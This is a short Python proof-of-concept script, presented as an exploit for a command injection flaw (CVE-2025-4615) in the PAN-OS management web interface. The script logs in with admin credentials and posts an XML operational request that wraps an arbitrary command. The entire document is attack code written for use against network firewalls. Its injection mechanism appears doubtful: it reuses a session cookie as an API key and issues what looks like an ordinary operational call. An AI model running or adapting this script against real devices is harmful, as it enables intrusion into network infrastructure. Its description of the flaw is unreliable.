CVE-2025-4615

# CVE-2025-4615 - PAN-OS Management Web Interface Command Injection PoC # Author: Security Researcher # Note: Requires authenticated admin access to PAN-OS management interface import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = "https://panos-target.example.com" ADMIN_USER = "admin" ADMIN_PASS = "password" def exploit_cve_2025_4615(target, username, password, cmd): """ Exploit improper input neutralization vulnerability in PAN-OS management web interface to achieve command execution. """ session = requests.Session() session.verify = False # Step 1: Authenticate to the PAN-OS management web interface login_url = f"{target}/php/login.php" login_data = { "prot": "https", "server": target, "user": username, "passwd": password, "ok": "OK" } resp = session.post(login_url, data=login_data) if "Invalid credentials" in resp.text: print("[-] Authentication failed") return False print("[+] Authenticated successfully") # Step 2: Inject OS command via vulnerable management endpoint # The vulnerability exists in improper neutralization of input # in certain management web interface parameters exploit_url = f"{target}/api/" # Command injection payload - bypass system restrictions payload = { "type": "op", "cmd": f"<request><system><command>{cmd}</command></system></request>" } headers = { "Content-Type": "application/xml", "X-PAN-KEY": session.cookies.get("PHPSESSID", "") } resp = session.post(exploit_url, data=payload["cmd"], headers=headers) if resp.status_code == 200: print(f"[+] Command executed: {cmd}") print(f"[+] Response: {resp.text[:500]}") return True else: print(f"[-] Exploit failed: HTTP {resp.status_code}") return False # Example usage if __name__ == "__main__": # Execute arbitrary command on PAN-OS device exploit_cve_2025_4615( TARGET_HOST, ADMIN_USER, ADMIN_PASS, "show system info" )

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